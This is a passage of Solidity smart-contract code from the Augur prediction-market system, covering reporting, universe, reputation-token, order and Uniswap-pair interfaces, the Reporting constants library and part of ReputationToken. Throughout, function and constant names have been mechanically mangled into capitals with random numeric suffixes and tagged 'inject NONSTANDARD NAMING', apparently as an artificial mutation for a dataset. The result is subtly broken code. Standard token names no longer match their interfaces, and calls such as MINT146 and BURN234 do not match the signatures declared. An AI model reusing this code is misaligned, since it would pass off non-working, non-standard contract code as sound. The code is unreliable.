function GETOPENINTEREST251() public view returns (uint256); //inject NONSTANDARD NAMING
}
contract IReportingParticipant {
function GETSTAKE932() public view returns (uint256); //inject NONSTANDARD NAMING
function GETPAYOUTDISTRIBUTIONHASH1000() public view returns (bytes32); //inject NONSTANDARD NAMING
function LIQUIDATELOSING232() public; //inject NONSTANDARD NAMING
function REDEEM559(address _redeemer) public returns (bool); //inject NONSTANDARD NAMING
function ISDISAVOWED173() public view returns (bool); //inject NONSTANDARD NAMING
function GETPAYOUTNUMERATOR512(uint256 _outcome) public view returns (uint256); //inject NONSTANDARD NAMING
function GETPAYOUTNUMERATORS444() public view returns (uint256[] memory); //inject NONSTANDARD NAMING
function GETMARKET927() public view returns (IMarket); //inject NONSTANDARD NAMING
function GETSIZE85() public view returns (uint256); //inject NONSTANDARD NAMING
}
contract IDisputeCrowdsourcer is IReportingParticipant, IERC20 {
function INITIALIZE90(IAugur _augur, IMarket market, uint256 _size, bytes32 _payoutDistributionHash, uint256[] memory _payoutNumerators, uint256 _crowdsourcerGeneration) public; //inject NONSTANDARD NAMING
function CONTRIBUTE720(address _participant, uint256 _amount, bool _overload) public returns (uint256); //inject NONSTANDARD NAMING
function SETSIZE177(uint256 _size) public; //inject NONSTANDARD NAMING
function GETREMAININGTOFILL115() public view returns (uint256); //inject NONSTANDARD NAMING
function CORRECTSIZE807() public returns (bool); //inject NONSTANDARD NAMING
function GETCROWDSOURCERGENERATION652() public view returns (uint256); //inject NONSTANDARD NAMING
}
contract IInitialReporter is IReportingParticipant, IOwnable {
function INITIALIZE90(IAugur _augur, IMarket _market, address _designatedReporter) public; //inject NONSTANDARD NAMING
function REPORT291(address _reporter, bytes32 _payoutDistributionHash, uint256[] memory _payoutNumerators, uint256 _initialReportStake) public; //inject NONSTANDARD NAMING
function DESIGNATEDREPORTERSHOWED809() public view returns (bool); //inject NONSTANDARD NAMING
function INITIALREPORTERWASCORRECT338() public view returns (bool); //inject NONSTANDARD NAMING
function GETDESIGNATEDREPORTER404() public view returns (address); //inject NONSTANDARD NAMING
function GETREPORTTIMESTAMP304() public view returns (uint256); //inject NONSTANDARD NAMING
function MIGRATETONEWUNIVERSE701(address _designatedReporter) public; //inject NONSTANDARD NAMING
function RETURNREPFROMDISAVOW512() public; //inject NONSTANDARD NAMING
}
contract IReputationToken is IERC20 {
function MIGRATEOUTBYPAYOUT436(uint256[] memory _payoutNumerators, uint256 _attotokens) public returns (bool); //inject NONSTANDARD NAMING
function MIGRATEIN692(address _reporter, uint256 _attotokens) public returns (bool); //inject NONSTANDARD NAMING
function TRUSTEDREPORTINGPARTICIPANTTRANSFER10(address _source, address _destination, uint256 _attotokens) public returns (bool); //inject NONSTANDARD NAMING
function TRUSTEDMARKETTRANSFER61(address _source, address _destination, uint256 _attotokens) public returns (bool); //inject NONSTANDARD NAMING
function TRUSTEDUNIVERSETRANSFER148(address _source, address _destination, uint256 _attotokens) public returns (bool); //inject NONSTANDARD NAMING
function TRUSTEDDISPUTEWINDOWTRANSFER53(address _source, address _destination, uint256 _attotokens) public returns (bool); //inject NONSTANDARD NAMING
function GETUNIVERSE719() public view returns (IUniverse); //inject NONSTANDARD NAMING
function GETTOTALMIGRATED220() public view returns (uint256); //inject NONSTANDARD NAMING
function GETTOTALTHEORETICALSUPPLY552() public view returns (uint256); //inject NONSTANDARD NAMING
function MINTFORREPORTINGPARTICIPANT798(uint256 _amountMigrated) public returns (bool); //inject NONSTANDARD NAMING
}
contract IShareToken is ITyped, IERC1155 {
function INITIALIZE90(IAugur _augur) external; //inject NONSTANDARD NAMING
function INITIALIZEMARKET720(IMarket _market, uint256 _numOutcomes, uint256 _numTicks) public; //inject NONSTANDARD NAMING
function UNSAFETRANSFERFROM654(address _from, address _to, uint256 _id, uint256 _value) public; //inject NONSTANDARD NAMING
function UNSAFEBATCHTRANSFERFROM211(address _from, address _to, uint256[] memory _ids, uint256[] memory _values) public; //inject NONSTANDARD NAMING
function CLAIMTRADINGPROCEEDS854(IMarket _market, address _shareHolder, bytes32 _fingerprint) external returns (uint256[] memory _outcomeFees); //inject NONSTANDARD NAMING
function GETMARKET927(uint256 _tokenId) external view returns (IMarket); //inject NONSTANDARD NAMING
function GETOUTCOME167(uint256 _tokenId) external view returns (uint256); //inject NONSTANDARD NAMING
function GETTOKENID371(IMarket _market, uint256 _outcome) public pure returns (uint256 _tokenId); //inject NONSTANDARD NAMING
function GETTOKENIDS530(IMarket _market, uint256[] memory _outcomes) public pure returns (uint256[] memory _tokenIds); //inject NONSTANDARD NAMING
function BUYCOMPLETESETS983(IMarket _market, address _account, uint256 _amount) external returns (bool); //inject NONSTANDARD NAMING
function BUYCOMPLETESETSFORTRADE277(IMarket _market, uint256 _amount, uint256 _longOutcome, address _longRecipient, address _shortRecipient) external returns (bool); //inject NONSTANDARD NAMING
function SELLCOMPLETESETS485(IMarket _market, address _holder, address _recipient, uint256 _amount, bytes32 _fingerprint) external returns (uint256 _creatorFee, uint256 _reportingFee); //inject NONSTANDARD NAMING
function SELLCOMPLETESETSFORTRADE561(IMarket _market, uint256 _outcome, uint256 _amount, address _shortParticipant, address _longParticipant, address _shortRecipient, address _longRecipient, uint256 _price, address _sourceAccount, bytes32 _fingerprint) external returns (uint256 _creatorFee, uint256 _reportingFee); //inject NONSTANDARD NAMING
function TOTALSUPPLYFORMARKETOUTCOME526(IMarket _market, uint256 _outcome) public view returns (uint256); //inject NONSTANDARD NAMING
function BALANCEOFMARKETOUTCOME21(IMarket _market, uint256 _outcome, address _account) public view returns (uint256); //inject NONSTANDARD NAMING
function LOWESTBALANCEOFMARKETOUTCOMES298(IMarket _market, uint256[] memory _outcomes, address _account) public view returns (uint256); //inject NONSTANDARD NAMING
}
contract IUniverse {
function CREATIONTIME597() external view returns (uint256); //inject NONSTANDARD NAMING
function MARKETBALANCE692(address) external view returns (uint256); //inject NONSTANDARD NAMING
function FORK341() public returns (bool); //inject NONSTANDARD NAMING
function UPDATEFORKVALUES73() public returns (bool); //inject NONSTANDARD NAMING
function GETPARENTUNIVERSE169() public view returns (IUniverse); //inject NONSTANDARD NAMING
function CREATECHILDUNIVERSE712(uint256[] memory _parentPayoutNumerators) public returns (IUniverse); //inject NONSTANDARD NAMING
function GETCHILDUNIVERSE576(bytes32 _parentPayoutDistributionHash) public view returns (IUniverse); //inject NONSTANDARD NAMING
function GETREPUTATIONTOKEN35() public view returns (IV2ReputationToken); //inject NONSTANDARD NAMING
function GETFORKINGMARKET637() public view returns (IMarket); //inject NONSTANDARD NAMING
function GETFORKENDTIME510() public view returns (uint256); //inject NONSTANDARD NAMING
function GETFORKREPUTATIONGOAL776() public view returns (uint256); //inject NONSTANDARD NAMING
function GETPARENTPAYOUTDISTRIBUTIONHASH230() public view returns (bytes32); //inject NONSTANDARD NAMING
function GETDISPUTEROUNDDURATIONINSECONDS412(bool _initial) public view returns (uint256); //inject NONSTANDARD NAMING
function GETORCREATEDISPUTEWINDOWBYTIMESTAMP65(uint256 _timestamp, bool _initial) public returns (IDisputeWindow); //inject NONSTANDARD NAMING
function GETORCREATECURRENTDISPUTEWINDOW813(bool _initial) public returns (IDisputeWindow); //inject NONSTANDARD NAMING
function GETORCREATENEXTDISPUTEWINDOW682(bool _initial) public returns (IDisputeWindow); //inject NONSTANDARD NAMING
function GETORCREATEPREVIOUSDISPUTEWINDOW575(bool _initial) public returns (IDisputeWindow); //inject NONSTANDARD NAMING
function GETOPENINTERESTINATTOCASH866() public view returns (uint256); //inject NONSTANDARD NAMING
function GETTARGETREPMARKETCAPINATTOCASH438() public view returns (uint256); //inject NONSTANDARD NAMING
function GETORCACHEVALIDITYBOND873() public returns (uint256); //inject NONSTANDARD NAMING
function GETORCACHEDESIGNATEDREPORTSTAKE630() public returns (uint256); //inject NONSTANDARD NAMING
function GETORCACHEDESIGNATEDREPORTNOSHOWBOND936() public returns (uint256); //inject NONSTANDARD NAMING
function GETORCACHEMARKETREPBOND533() public returns (uint256); //inject NONSTANDARD NAMING
function GETORCACHEREPORTINGFEEDIVISOR44() public returns (uint256); //inject NONSTANDARD NAMING
function GETDISPUTETHRESHOLDFORFORK42() public view returns (uint256); //inject NONSTANDARD NAMING
function GETDISPUTETHRESHOLDFORDISPUTEPACING311() public view returns (uint256); //inject NONSTANDARD NAMING
function GETINITIALREPORTMINVALUE947() public view returns (uint256); //inject NONSTANDARD NAMING
function GETPAYOUTNUMERATORS444() public view returns (uint256[] memory); //inject NONSTANDARD NAMING
function GETREPORTINGFEEDIVISOR13() public view returns (uint256); //inject NONSTANDARD NAMING
function GETPAYOUTNUMERATOR512(uint256 _outcome) public view returns (uint256); //inject NONSTANDARD NAMING
function GETWINNINGCHILDPAYOUTNUMERATOR599(uint256 _outcome) public view returns (uint256); //inject NONSTANDARD NAMING
function ISOPENINTERESTCASH47(address) public view returns (bool); //inject NONSTANDARD NAMING
function ISFORKINGMARKET534() public view returns (bool); //inject NONSTANDARD NAMING
function GETCURRENTDISPUTEWINDOW862(bool _initial) public view returns (IDisputeWindow); //inject NONSTANDARD NAMING
function GETDISPUTEWINDOWSTARTTIMEANDDURATION802(uint256 _timestamp, bool _initial) public view returns (uint256, uint256); //inject NONSTANDARD NAMING
function ISPARENTOF319(IUniverse _shadyChild) public view returns (bool); //inject NONSTANDARD NAMING
function UPDATETENTATIVEWINNINGCHILDUNIVERSE89(bytes32 _parentPayoutDistributionHash) public returns (bool); //inject NONSTANDARD NAMING
function ISCONTAINERFORDISPUTEWINDOW320(IDisputeWindow _shadyTarget) public view returns (bool); //inject NONSTANDARD NAMING
function ISCONTAINERFORMARKET856(IMarket _shadyTarget) public view returns (bool); //inject NONSTANDARD NAMING
function ISCONTAINERFORREPORTINGPARTICIPANT696(IReportingParticipant _reportingParticipant) public view returns (bool); //inject NONSTANDARD NAMING
function MIGRATEMARKETOUT672(IUniverse _destinationUniverse) public returns (bool); //inject NONSTANDARD NAMING
function MIGRATEMARKETIN285(IMarket _market, uint256 _cashBalance, uint256 _marketOI) public returns (bool); //inject NONSTANDARD NAMING
function DECREMENTOPENINTEREST834(uint256 _amount) public returns (bool); //inject NONSTANDARD NAMING
function DECREMENTOPENINTERESTFROMMARKET346(IMarket _market) public returns (bool); //inject NONSTANDARD NAMING
function INCREMENTOPENINTEREST645(uint256 _amount) public returns (bool); //inject NONSTANDARD NAMING
function GETWINNINGCHILDUNIVERSE709() public view returns (IUniverse); //inject NONSTANDARD NAMING
function ISFORKING853() public view returns (bool); //inject NONSTANDARD NAMING
function DEPOSIT693(address _sender, uint256 _amount, address _market) public returns (bool); //inject NONSTANDARD NAMING
function WITHDRAW474(address _recipient, uint256 _amount, address _market) public returns (bool); //inject NONSTANDARD NAMING
function CREATESCALARMARKET875(uint256 _endTime, uint256 _feePerCashInAttoCash, IAffiliateValidator _affiliateValidator, uint256 _affiliateFeeDivisor, address _designatedReporterAddress, int256[] memory _prices, uint256 _numTicks, string memory _extraInfo) public returns (IMarket _newMarket); //inject NONSTANDARD NAMING
}
contract IV2ReputationToken is IReputationToken {
function PARENTUNIVERSE976() external returns (IUniverse); //inject NONSTANDARD NAMING
function BURNFORMARKET683(uint256 _amountToBurn) public returns (bool); //inject NONSTANDARD NAMING
function MINTFORWARPSYNC909(uint256 _amountToMint, address _target) public returns (bool); //inject NONSTANDARD NAMING
}
library Reporting {
uint256 private constant designated_reporting_duration_seconds939 = 1 days; //inject NONSTANDARD NAMING
uint256 private constant dispute_round_duration_seconds351 = 7 days; //inject NONSTANDARD NAMING
uint256 private constant initial_dispute_round_duration_seconds185 = 1 days; //inject NONSTANDARD NAMING
uint256 private constant dispute_window_buffer_seconds655 = 1 hours; //inject NONSTANDARD NAMING
uint256 private constant fork_duration_seconds463 = 60 days; //inject NONSTANDARD NAMING
uint256 private constant base_market_duration_maximum20 = 30 days; // A market of 30 day length can always be created //inject NONSTANDARD NAMING
uint256 private constant upgrade_cadence254 = 365 days; //inject NONSTANDARD NAMING
uint256 private constant initial_upgrade_timestamp605 = 1627776000; // Aug 1st 2021 //inject NONSTANDARD NAMING
uint256 private constant initial_rep_supply507 = 11 * 10 ** 6 * 10 ** 18; // 11 Million REP //inject NONSTANDARD NAMING
uint256 private constant affiliate_source_cut_divisor194 = 5; // The trader gets 20% of the affiliate fee when an affiliate fee is taken //inject NONSTANDARD NAMING
uint256 private constant default_validity_bond803 = 10 ether; // 10 Cash (Dai) //inject NONSTANDARD NAMING
uint256 private constant validity_bond_floor708 = 10 ether; // 10 Cash (Dai) //inject NONSTANDARD NAMING
uint256 private constant default_reporting_fee_divisor809 = 10000; // .01% fees //inject NONSTANDARD NAMING
uint256 private constant maximum_reporting_fee_divisor548 = 10000; // Minimum .01% fees //inject NONSTANDARD NAMING
uint256 private constant minimum_reporting_fee_divisor749 = 3; // Maximum 33.3~% fees. Note than anything less than a value of 2 here will likely result in bugs such as divide by 0 cases. //inject NONSTANDARD NAMING
uint256 private constant target_invalid_markets_divisor747 = 100; // 1% of markets are expected to be invalid //inject NONSTANDARD NAMING
uint256 private constant target_incorrect_designated_report_markets_divisor83 = 100; // 1% of markets are expected to have an incorrect designate report //inject NONSTANDARD NAMING
uint256 private constant target_designated_report_no_shows_divisor678 = 20; // 5% of markets are expected to have a no show //inject NONSTANDARD NAMING
uint256 private constant target_rep_market_cap_multiplier475 = 5; // We multiply and divide by constants since we may want to multiply by a fractional amount //inject NONSTANDARD NAMING
uint256 private constant fork_threshold_divisor49 = 40; // 2.5% of the total REP supply being filled in a single dispute bond will trigger a fork //inject NONSTANDARD NAMING
uint256 private constant maximum_dispute_rounds529 = 20; // We ensure that after 20 rounds of disputes a fork will occur //inject NONSTANDARD NAMING
uint256 private constant minimum_slow_rounds438 = 8; // We ensure that at least 8 dispute rounds take DISPUTE_ROUND_DURATION_SECONDS+ seconds to complete until the next round begins //inject NONSTANDARD NAMING
function GETDESIGNATEDREPORTINGDURATIONSECONDS10() internal pure returns (uint256) { return designated_reporting_duration_seconds939; } //inject NONSTANDARD NAMING
function GETINITIALDISPUTEROUNDDURATIONSECONDS286() internal pure returns (uint256) { return initial_dispute_round_duration_seconds185; } //inject NONSTANDARD NAMING
function GETDISPUTEWINDOWBUFFERSECONDS683() internal pure returns (uint256) { return dispute_window_buffer_seconds655; } //inject NONSTANDARD NAMING
function GETDISPUTEROUNDDURATIONSECONDS187() internal pure returns (uint256) { return dispute_round_duration_seconds351; } //inject NONSTANDARD NAMING
function GETFORKDURATIONSECONDS842() internal pure returns (uint256) { return fork_duration_seconds463; } //inject NONSTANDARD NAMING
function GETBASEMARKETDURATIONMAXIMUM759() internal pure returns (uint256) { return base_market_duration_maximum20; } //inject NONSTANDARD NAMING
function GETUPGRADECADENCE338() internal pure returns (uint256) { return upgrade_cadence254; } //inject NONSTANDARD NAMING
function GETINITIALUPGRADETIMESTAMP486() internal pure returns (uint256) { return initial_upgrade_timestamp605; } //inject NONSTANDARD NAMING
function GETDEFAULTVALIDITYBOND656() internal pure returns (uint256) { return default_validity_bond803; } //inject NONSTANDARD NAMING
function GETVALIDITYBONDFLOOR634() internal pure returns (uint256) { return validity_bond_floor708; } //inject NONSTANDARD NAMING
function GETTARGETINVALIDMARKETSDIVISOR906() internal pure returns (uint256) { return target_invalid_markets_divisor747; } //inject NONSTANDARD NAMING
function GETTARGETINCORRECTDESIGNATEDREPORTMARKETSDIVISOR444() internal pure returns (uint256) { return target_incorrect_designated_report_markets_divisor83; } //inject NONSTANDARD NAMING
function GETTARGETDESIGNATEDREPORTNOSHOWSDIVISOR524() internal pure returns (uint256) { return target_designated_report_no_shows_divisor678; } //inject NONSTANDARD NAMING
function GETTARGETREPMARKETCAPMULTIPLIER935() internal pure returns (uint256) { return target_rep_market_cap_multiplier475; } //inject NONSTANDARD NAMING
function GETMAXIMUMREPORTINGFEEDIVISOR201() internal pure returns (uint256) { return maximum_reporting_fee_divisor548; } //inject NONSTANDARD NAMING
function GETMINIMUMREPORTINGFEEDIVISOR230() internal pure returns (uint256) { return minimum_reporting_fee_divisor749; } //inject NONSTANDARD NAMING
function GETDEFAULTREPORTINGFEEDIVISOR804() internal pure returns (uint256) { return default_reporting_fee_divisor809; } //inject NONSTANDARD NAMING
function GETINITIALREPSUPPLY859() internal pure returns (uint256) { return initial_rep_supply507; } //inject NONSTANDARD NAMING
function GETAFFILIATESOURCECUTDIVISOR779() internal pure returns (uint256) { return affiliate_source_cut_divisor194; } //inject NONSTANDARD NAMING
function GETFORKTHRESHOLDDIVISOR823() internal pure returns (uint256) { return fork_threshold_divisor49; } //inject NONSTANDARD NAMING
function GETMAXIMUMDISPUTEROUNDS774() internal pure returns (uint256) { return maximum_dispute_rounds529; } //inject NONSTANDARD NAMING
function GETMINIMUMSLOWROUNDS218() internal pure returns (uint256) { return minimum_slow_rounds438; } //inject NONSTANDARD NAMING
}
contract IAugurTrading {
function LOOKUP594(bytes32 _key) public view returns (address); //inject NONSTANDARD NAMING
function LOGPROFITLOSSCHANGED911(IMarket _market, address _account, uint256 _outcome, int256 _netPosition, uint256 _avgPrice, int256 _realizedProfit, int256 _frozenFunds, int256 _realizedCost) public returns (bool); //inject NONSTANDARD NAMING
function LOGORDERCREATED154(IUniverse _universe, bytes32 _orderId, bytes32 _tradeGroupId) public returns (bool); //inject NONSTANDARD NAMING
function LOGORDERCANCELED389(IUniverse _universe, IMarket _market, address _creator, uint256 _tokenRefund, uint256 _sharesRefund, bytes32 _orderId) public returns (bool); //inject NONSTANDARD NAMING
function LOGORDERFILLED166(IUniverse _universe, address _creator, address _filler, uint256 _price, uint256 _fees, uint256 _amountFilled, bytes32 _orderId, bytes32 _tradeGroupId) public returns (bool); //inject NONSTANDARD NAMING
function LOGMARKETVOLUMECHANGED635(IUniverse _universe, address _market, uint256 _volume, uint256[] memory _outcomeVolumes, uint256 _totalTrades) public returns (bool); //inject NONSTANDARD NAMING
function LOGZEROXORDERFILLED898(IUniverse _universe, IMarket _market, bytes32 _orderHash, bytes32 _tradeGroupId, uint8 _orderType, address[] memory _addressData, uint256[] memory _uint256Data) public returns (bool); //inject NONSTANDARD NAMING
function LOGZEROXORDERCANCELED137(address _universe, address _market, address _account, uint256 _outcome, uint256 _price, uint256 _amount, uint8 _type, bytes32 _orderHash) public; //inject NONSTANDARD NAMING
}
contract IOrders {
function SAVEORDER165(uint256[] calldata _uints, bytes32[] calldata _bytes32s, Order.Types _type, IMarket _market, address _sender) external returns (bytes32 _orderId); //inject NONSTANDARD NAMING
function REMOVEORDER407(bytes32 _orderId) external returns (bool); //inject NONSTANDARD NAMING
function GETMARKET927(bytes32 _orderId) public view returns (IMarket); //inject NONSTANDARD NAMING
function GETORDERTYPE39(bytes32 _orderId) public view returns (Order.Types); //inject NONSTANDARD NAMING
function GETOUTCOME167(bytes32 _orderId) public view returns (uint256); //inject NONSTANDARD NAMING
function GETAMOUNT930(bytes32 _orderId) public view returns (uint256); //inject NONSTANDARD NAMING
function GETPRICE598(bytes32 _orderId) public view returns (uint256); //inject NONSTANDARD NAMING
function GETORDERCREATOR755(bytes32 _orderId) public view returns (address); //inject NONSTANDARD NAMING
function GETORDERSHARESESCROWED20(bytes32 _orderId) public view returns (uint256); //inject NONSTANDARD NAMING
function GETORDERMONEYESCROWED161(bytes32 _orderId) public view returns (uint256); //inject NONSTANDARD NAMING
function GETORDERDATAFORCANCEL357(bytes32 _orderId) public view returns (uint256, uint256, Order.Types, IMarket, uint256, address); //inject NONSTANDARD NAMING
function GETORDERDATAFORLOGS935(bytes32 _orderId) public view returns (Order.Types, address[] memory _addressData, uint256[] memory _uint256Data); //inject NONSTANDARD NAMING
function GETBETTERORDERID822(bytes32 _orderId) public view returns (bytes32); //inject NONSTANDARD NAMING
function GETWORSEORDERID439(bytes32 _orderId) public view returns (bytes32); //inject NONSTANDARD NAMING
function GETBESTORDERID727(Order.Types _type, IMarket _market, uint256 _outcome) public view returns (bytes32); //inject NONSTANDARD NAMING
function GETWORSTORDERID835(Order.Types _type, IMarket _market, uint256 _outcome) public view returns (bytes32); //inject NONSTANDARD NAMING
function GETLASTOUTCOMEPRICE593(IMarket _market, uint256 _outcome) public view returns (uint256); //inject NONSTANDARD NAMING
function GETORDERID157(Order.Types _type, IMarket _market, uint256 _amount, uint256 _price, address _sender, uint256 _blockNumber, uint256 _outcome, uint256 _moneyEscrowed, uint256 _sharesEscrowed) public pure returns (bytes32); //inject NONSTANDARD NAMING
function GETTOTALESCROWED463(IMarket _market) public view returns (uint256); //inject NONSTANDARD NAMING
function ISBETTERPRICE274(Order.Types _type, uint256 _price, bytes32 _orderId) public view returns (bool); //inject NONSTANDARD NAMING
function ISWORSEPRICE692(Order.Types _type, uint256 _price, bytes32 _orderId) public view returns (bool); //inject NONSTANDARD NAMING
function ASSERTISNOTBETTERPRICE18(Order.Types _type, uint256 _price, bytes32 _betterOrderId) public view returns (bool); //inject NONSTANDARD NAMING
function ASSERTISNOTWORSEPRICE875(Order.Types _type, uint256 _price, bytes32 _worseOrderId) public returns (bool); //inject NONSTANDARD NAMING
function RECORDFILLORDER693(bytes32 _orderId, uint256 _sharesFilled, uint256 _tokensFilled, uint256 _fill) external returns (bool); //inject NONSTANDARD NAMING
function SETPRICE687(IMarket _market, uint256 _outcome, uint256 _price) external returns (bool); //inject NONSTANDARD NAMING
}
library Order {
using SafeMathUint256 for uint256;
enum Types {
Bid, Ask
}
enum TradeDirections {
Long, Short
}
struct Data {
// Contracts
IMarket market;
IAugur augur;
IAugurTrading augurTrading;
IShareToken shareToken;
ICash cash;
// Order
bytes32 id;
address creator;
uint256 outcome;
Order.Types orderType;
uint256 amount;
uint256 price;
uint256 sharesEscrowed;
uint256 moneyEscrowed;
bytes32 betterOrderId;
bytes32 worseOrderId;
}
function CREATE815(IAugur _augur, IAugurTrading _augurTrading, address _creator, uint256 _outcome, Order.Types _type, uint256 _attoshares, uint256 _price, IMarket _market, bytes32 _betterOrderId, bytes32 _worseOrderId) internal view returns (Data memory) { //inject NONSTANDARD NAMING
require(_outcome < _market.GETNUMBEROFOUTCOMES636(), "Order.create: Outcome is not within market range");
require(_price != 0, "Order.create: Price may not be 0");
require(_price < _market.GETNUMTICKS752(), "Order.create: Price is outside of market range");
require(_attoshares > 0, "Order.create: Cannot use amount of 0");
require(_creator != address(0), "Order.create: Creator is 0x0");
IShareToken _shareToken = IShareToken(_augur.LOOKUP594("ShareToken"));
return Data({
market: _market,
augur: _augur,
augurTrading: _augurTrading,
shareToken: _shareToken,
cash: ICash(_augur.LOOKUP594("Cash")),
id: 0,
creator: _creator,
outcome: _outcome,
orderType: _type,
amount: _attoshares,
price: _price,
sharesEscrowed: 0,
moneyEscrowed: 0,
betterOrderId: _betterOrderId,
worseOrderId: _worseOrderId
});
}
//
// "public" functions
//
function GETORDERID157(Order.Data memory _orderData, IOrders _orders) internal view returns (bytes32) { //inject NONSTANDARD NAMING
if (_orderData.id == bytes32(0)) {
bytes32 _orderId = CALCULATEORDERID856(_orderData.orderType, _orderData.market, _orderData.amount, _orderData.price, _orderData.creator, block.number, _orderData.outcome, _orderData.moneyEscrowed, _orderData.sharesEscrowed);
require(_orders.GETAMOUNT930(_orderId) == 0, "Order.getOrderId: New order had amount. This should not be possible");
_orderData.id = _orderId;
}
return _orderData.id;
}
function CALCULATEORDERID856(Order.Types _type, IMarket _market, uint256 _amount, uint256 _price, address _sender, uint256 _blockNumber, uint256 _outcome, uint256 _moneyEscrowed, uint256 _sharesEscrowed) internal pure returns (bytes32) { //inject NONSTANDARD NAMING
return sha256(abi.encodePacked(_type, _market, _amount, _price, _sender, _blockNumber, _outcome, _moneyEscrowed, _sharesEscrowed));
}
function GETORDERTRADINGTYPEFROMMAKERDIRECTION100(Order.TradeDirections _creatorDirection) internal pure returns (Order.Types) { //inject NONSTANDARD NAMING
return (_creatorDirection == Order.TradeDirections.Long) ? Order.Types.Bid : Order.Types.Ask;
}
function GETORDERTRADINGTYPEFROMFILLERDIRECTION800(Order.TradeDirections _fillerDirection) internal pure returns (Order.Types) { //inject NONSTANDARD NAMING
return (_fillerDirection == Order.TradeDirections.Long) ? Order.Types.Ask : Order.Types.Bid;
}
function SAVEORDER165(Order.Data memory _orderData, bytes32 _tradeGroupId, IOrders _orders) internal returns (bytes32) { //inject NONSTANDARD NAMING
GETORDERID157(_orderData, _orders);
uint256[] memory _uints = new uint256[](5);
_uints[0] = _orderData.amount;
_uints[1] = _orderData.price;
_uints[2] = _orderData.outcome;
_uints[3] = _orderData.moneyEscrowed;
_uints[4] = _orderData.sharesEscrowed;
bytes32[] memory _bytes32s = new bytes32[](4);
_bytes32s[0] = _orderData.betterOrderId;
_bytes32s[1] = _orderData.worseOrderId;
_bytes32s[2] = _tradeGroupId;
_bytes32s[3] = _orderData.id;
return _orders.SAVEORDER165(_uints, _bytes32s, _orderData.orderType, _orderData.market, _orderData.creator);
}
}
interface IUniswapV2Pair {
event APPROVAL665(address indexed owner, address indexed spender, uint value); //inject NONSTANDARD NAMING
event TRANSFER723(address indexed from, address indexed to, uint value); //inject NONSTANDARD NAMING
function NAME524() external pure returns (string memory); //inject NONSTANDARD NAMING
function SYMBOL582() external pure returns (string memory); //inject NONSTANDARD NAMING
function DECIMALS958() external pure returns (uint8); //inject NONSTANDARD NAMING
function TOTALSUPPLY304() external view returns (uint); //inject NONSTANDARD NAMING
function BALANCEOF492(address owner) external view returns (uint); //inject NONSTANDARD NAMING
function ALLOWANCE377(address owner, address spender) external view returns (uint); //inject NONSTANDARD NAMING
function APPROVE293(address spender, uint value) external returns (bool); //inject NONSTANDARD NAMING
function TRANSFER644(address to, uint value) external returns (bool); //inject NONSTANDARD NAMING
function TRANSFERFROM669(address from, address to, uint value) external returns (bool); //inject NONSTANDARD NAMING
function DOMAIN_SEPARATOR256() external view returns (bytes32); //inject NONSTANDARD NAMING
function PERMIT_TYPEHASH256() external pure returns (bytes32); //inject NONSTANDARD NAMING
function NONCES605(address owner) external view returns (uint); //inject NONSTANDARD NAMING
function PERMIT866(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; //inject NONSTANDARD NAMING
event MINT159(address indexed sender, uint amount0, uint amount1); //inject NONSTANDARD NAMING
event BURN674(address indexed sender, uint amount0, uint amount1, address indexed to); //inject NONSTANDARD NAMING
event SWAP992( //inject NONSTANDARD NAMING
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event SYNC856(uint112 reserve0, uint112 reserve1); //inject NONSTANDARD NAMING
function MINIMUM_LIQUIDITY585() external pure returns (uint); //inject NONSTANDARD NAMING
function FACTORY704() external view returns (address); //inject NONSTANDARD NAMING
function TOKEN0151() external view returns (address); //inject NONSTANDARD NAMING
function TOKEN132() external view returns (address); //inject NONSTANDARD NAMING
function GETRESERVES901() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); //inject NONSTANDARD NAMING
function PRICE0CUMULATIVELAST708() external view returns (uint); //inject NONSTANDARD NAMING
function PRICE1CUMULATIVELAST245() external view returns (uint); //inject NONSTANDARD NAMING
function KLAST943() external view returns (uint); //inject NONSTANDARD NAMING
function MINT146(address to) external returns (uint liquidity); //inject NONSTANDARD NAMING
function BURN234(address to) external returns (uint amount0, uint amount1); //inject NONSTANDARD NAMING
function SWAP505(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; //inject NONSTANDARD NAMING
function SKIM81(address to) external; //inject NONSTANDARD NAMING
function SYNC86() external; //inject NONSTANDARD NAMING
function INITIALIZE90(address, address) external; //inject NONSTANDARD NAMING
}
contract IRepSymbol {
function GETREPSYMBOL498(address _augur, address _universe) external view returns (string memory); //inject NONSTANDARD NAMING
}
contract ReputationToken is VariableSupplyToken, IV2ReputationToken {
using SafeMathUint256 for uint256;
string constant public name600 = "Reputation"; //inject NONSTANDARD NAMING
IUniverse internal universe;
IUniverse public parentUniverse;
uint256 internal totalMigrated;
IERC20 public legacyRepToken;
IAugur public augur;
address public warpSync;
constructor(IAugur _augur, IUniverse _universe, IUniverse _parentUniverse) public {
augur = _augur;
universe = _universe;
parentUniverse = _parentUniverse;
warpSync = _augur.LOOKUP594("WarpSync");
legacyRepToken = IERC20(_augur.LOOKUP594("LegacyReputationToken"));
require(warpSync != address(0));
require(legacyRepToken != IERC20(0));
}
function SYMBOL582() public view returns (string memory) { //inject NONSTANDARD NAMING
return IRepSymbol(augur.LOOKUP594("RepSymbol")).GETREPSYMBOL498(address(augur), address(universe));
}
function MIGRATEOUTBYPAYOUT436(uint256[] memory _payoutNumerators, uint256 _attotokens) public returns (bool) { //inject NONSTANDARD NAMING
require(_attotokens > 0);
IUniverse _destinationUniverse = universe.CREATECHILDUNIVERSE712(_payoutNumerators);
IReputationToken _destination = _destinationUniverse.GETREPUTATIONTOKEN35();
BURN234(msg.sender, _attotokens);
_destination.MIGRATEIN692(msg.sender, _attotokens);
return true;
}
function MIGRATEIN692(address _reporter, uint256 _attotokens) public returns (bool) { //inject NONSTANDARD NAMING
IUniverse _parentUniverse = parentUniverse;
require(ReputationToken(msg.sender) == _parentUniverse.GETREPUTATIONTOKEN35());
require(augur.GETTIMESTAMP626() < _parentUniverse.GETFORKENDTIME510());
MINT146(_reporter, _attotokens);
totalMigrated += _attotokens;
// Update the fork tentative winner and finalize if we can
if (!_parentUniverse.GETFORKINGMARKET637().ISFINALIZED623()) {
_parentUniverse.UPDATETENTATIVEWINNINGCHILDUNIVERSE89(universe.GETPARENTPAYOUTDISTRIBUTIONHASH230());
}
return true;
}
function MINTFORREPORTINGPARTICIPANT798(uint256 _amountMigrated) public returns (bool) { //inject NONSTANDARD NAMING
IReportingParticipant _reportingParticipant = IReportingParticipant(msg.sender);
